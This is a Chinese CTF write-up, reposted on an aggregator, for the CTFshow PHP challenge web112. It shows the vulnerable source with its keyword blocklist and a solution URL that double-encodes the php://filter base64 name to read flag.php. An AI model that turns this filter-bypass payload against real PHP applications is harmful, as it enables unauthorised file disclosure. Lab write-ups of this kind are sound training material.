CTFshow php特性 web112
生活随笔
收集整理的這篇文章主要介紹了
CTFshow php特性 web112
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
目錄
- 源碼
- 思路
- 題解
- 總結
源碼
<?php/* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-30 23:47:49*/highlight_file(__FILE__); error_reporting(0); function filter($file){if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){die("hacker!");}else{return $file;} } $file=$_GET['file']; if(! is_file($file)){highlight_file(filter($file)); }else{echo "hacker!"; }思路
這題考點是用偽協議來讀取文件,看到base64被過濾,想到Y1ng師傅之前叫我的一個非預期的小技巧,convert.base-encode64部分可以二次編碼繞過
題解
http://c2e76d57-4b35-4abe-9814-64d6a55fda80.challenge.ctf.show/?file=php://filter/convert.%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=flag.php
解碼拿到flag
總結
水題
總結
以上是生活随笔為你收集整理的CTFshow php特性 web112的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTFshow php特性 web111
- 下一篇: CTFshow php特性 web113